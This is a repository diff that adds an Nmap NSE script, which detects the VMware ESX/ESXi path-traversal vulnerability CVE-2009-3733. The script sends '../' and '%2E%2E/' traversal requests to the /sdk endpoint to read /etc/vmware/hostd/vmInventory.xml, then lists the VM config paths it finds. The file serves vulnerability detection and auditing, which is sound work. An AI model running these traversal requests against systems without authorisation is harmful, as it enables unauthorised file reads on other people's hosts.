summaryrefslogtreecommitdiffstats
path: root/scripts/http-vmware-path-vuln.nse
diff options
context:
space:
mode:
Diffstat (limited to 'scripts/http-vmware-path-vuln.nse')
-rw-r--r--scripts/http-vmware-path-vuln.nse141
1 files changed, 141 insertions, 0 deletions
diff --git a/scripts/http-vmware-path-vuln.nse b/scripts/http-vmware-path-vuln.nse
new file mode 100644
index 0000000..92aae11
--- /dev/null
+++ b/scripts/http-vmware-path-vuln.nse
@@ -0,0 +1,141 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Checks for a path-traversal vulnerability in VMWare ESX, ESXi, and Server (CVE-2009-3733).
+
+The vulnerability was originally released by Justin Morehouse and Tony Flick, who presented at Shmoocon 2010 (http://fyrmassociates.com/tools.html).
+]]
+
+---
+-- @usage
+-- nmap --script http-vmware-path-vuln -p80,443,8222,8333 <host>
+--
+-- @output
+-- | http-vmware-path-vuln:
+-- | VMWare path traversal (CVE-2009-3733): VULNERABLE
+-- | /vmware/Windows 2003/Windows 2003.vmx
+-- | /vmware/Pentest/Pentest - Linux/Linux Pentest Bravo.vmx
+-- | /vmware/Pentest/Pentest - Windows/Windows 2003.vmx
+-- | /mnt/vmware/vmware/FreeBSD 7.2/FreeBSD 7.2.vmx
+-- | /mnt/vmware/vmware/FreeBSD 8.0/FreeBSD 8.0.vmx
+-- | /mnt/vmware/vmware/FreeBSD 8.0 64-bit/FreeBSD 8.0 64-bit.vmx
+-- |_ /mnt/vmware/vmware/Slackware 13 32-bit/Slackware 13 32-bit.vmx
+-----------------------------------------------------------------------
+
+author = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe"}
+
+
+portrule = shortport.port_or_service({80, 443, 8222,8333}, {"http", "https"})
+
+local function get_file(host, port, path)
+ local file
+
+ -- Replace spaces in the path with %20
+ path = string.gsub(path, " ", "%%20")
+
+ -- Try both ../ and %2E%2E/
+ file = "/sdk/../../../../../../" .. path
+
+ local result = http.get( host, port, file)
+ if(result['status'] ~= 200 or result['content-length'] == 0) then
+ file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path
+ result = http.get( host, port, file)
+
+ if(result['status'] ~= 200 or result['content-length'] == 0) then
+ return false, "Couldn't download file: " .. path
+ end
+ end
+
+ return true, result.body, file
+end
+
+local function fake_xml_parse(str, tag)
+ local result = {}
+ local index, tag_start, tag_end
+
+ -- Lowercase the 'body' we're searching
+ local lc = string.lower(str)
+ -- Lowercase the tag
+ tag = string.lower(tag)
+
+ -- This loop does some ugly pattern-based xml parsing
+ index, tag_start = string.find(lc, "<" .. tag .. ">")
+ while index do
+ tag_end, index = string.find(lc, "</" .. tag .. ">", index)
+ table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase
+ index, tag_start = string.find(lc, "<" .. tag .. ">", index)
+ end
+
+ return result
+end
+
+--local function parse_vmware_conf(str, field)
+-- local index, value_start = string.find(str, field .. "[^\"]*")
+-- if(not(index) or not(value_start)) then
+-- return nil
+-- end
+--
+-- local value_end = string.find(str, "\"", value_start + 1)
+-- if(not(value_end)) then
+-- return nil
+-- end
+--
+-- return string.sub(str, value_start + 1, value_end - 1)
+--end
+
+local function go(host, port)
+ local result, body
+ local files
+
+ -- Try to download the file
+ result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml");
+ -- It failed -- probably not vulnerable
+ if(not(result)) then
+ return false, "Couldn't download file: " .. body
+ end
+
+ -- Check if the file contains the proper XML
+ if(string.find(string.lower(body), "configroot") == nil) then
+ return false, "Server didn't return XML -- likely not vulnerable."
+ end
+
+ files = fake_xml_parse(body, "vmxcfgpath")
+
+ if(#files == 0) then
+ return true, {"No VMs appear to be installed"}
+ end
+
+ -- Process each of the .vmx files if verbosity is on
+ --if(nmap.verbosity() > 1) then
+ -- local result, file = get_file(host, port, files[1])
+ -- io.write(nsedebug.tostr(file))
+ --end
+
+ return true, files
+end
+
+action = function(host, port)
+ -- Try a standard ../ path
+ local status, result = go(host, port)
+
+ if(not(status)) then
+ return nil
+ end
+
+ local response = {}
+ table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE")
+
+ if(nmap.verbosity() > 1) then
+ table.insert(response, result)
+ end
+
+ return stdnse.format_output(true, response)
+end
+